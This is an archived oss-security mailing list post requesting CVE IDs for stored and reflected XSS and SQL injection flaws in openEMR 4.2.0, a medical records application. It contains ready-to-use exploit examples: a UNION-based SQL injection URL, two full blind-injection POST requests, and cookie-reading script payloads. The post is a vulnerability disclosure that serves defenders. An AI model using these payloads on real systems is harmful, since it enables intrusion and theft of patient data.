[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CALH-=7yNNrVGfD2u-+Yv7PLQ+tYi+qHcuYu4dD0H6GQQCdF21w@mail.gmail.com>
Date: Sun, 22 Mar 2015 17:56:12 +0100
From: Steffen Rösemann <steffen.roesemann1986@...il.com>
To: oss-security@...ts.openwall.com
Subject: CVE-Request -- openEMR v. 4.2.0 -- Multiple stored/reflecting XSS-
and SQLi vulns
Hi Steve, Josh, vendors, list.
I found multiple reflecting/stored XSS- and SQLi-vulns in electronic health
records and medical practice application openEMR v. 4.2.0.
==================
Technical Details:
==================
All below described vulnerabilities can only be exploited by an already
authenticated user.
=====================
SQL injection vulnerabilities
=====================
An SQL injection vulnerability can be found in the facility_admin.php file
and can be abused by an attacker via the fid-parameter.
Exploit-Example:
http://
{TARGET}/interface/usergroup/facility_admin.php?fid=3%27+and+1=2+union+select+1,user%28%29,3,4,version%28%29,database%28%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+
Another (blind) SQL injection vulnerability resides in the
appt_encounter_report.php an can be abused by an attacker by modifying a
the form_facility-parameter in a POST-request.
Exploit-Example:
POST /openemr-4.2.0/interface/reports/appt_encounter_report.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101
Firefox/31.0 Iceweasel/31.3.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/openemr-4.2.0/interface/reports/appt_encounter_report.php
Cookie: OpenEMR=p30d0tu19a9r04tjgnuu1oqqq4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
form_facility=3%27+AND+substring(version(),1,1)=%275&form_from_date=2015-01-13&form_to_date=2015-01-13&form_refresh=true
The last (blind) SQL injection vulnerability resides in the
appointments_report.php-file and can be as well abused by an attacker via
crafting own SQL statements in the form_facility-parameter in a POST
request.
Exploit-Example:
POST /openemr-4.2.0/interface/reports/appointments_report.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101
Firefox/31.0 Iceweasel/31.3.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/openemr-4.2.0/interface/reports/appointments_report.php
Cookie: OpenEMR=p30d0tu19a9r04tjgnuu1oqqq4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 199
form_facility=3%27+and+substring(version(),1,1)=%274&form_provider=&form_from_date=2015-01-13&form_to_date=2015-01-13&form_apptstatus=&form_apptcat=ALL&form_orderby=comment&patient=&form_refresh=true
==============
XSS vulnerabilities
==============
A reflecting XSS-vulnerability can be found in user_admin.php via the
id-parameter.
Exploit-Example:
http://
{TARGET}interface/usergroup/user_admin.php?id=4%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
A stored XSS vulnerability resides in add_edit_event.php via the
input-field "form_comments" and is executed in appointments_report.php.
Exploit-Example:
<script>alert(document.cookie)</script>
Can I get a CVE-ID / CVE-IDs for my findings?
Thank you very much.
Greetings from Germany.
Steffen Rösemann
References:
[1] http://www.open-emr.org
[2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-08.html
[3] http://www.open-emr.org/wiki/index.php/OpenEMR_Patches
[4] http://seclists.org/fulldisclosure/2015/Mar/145
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
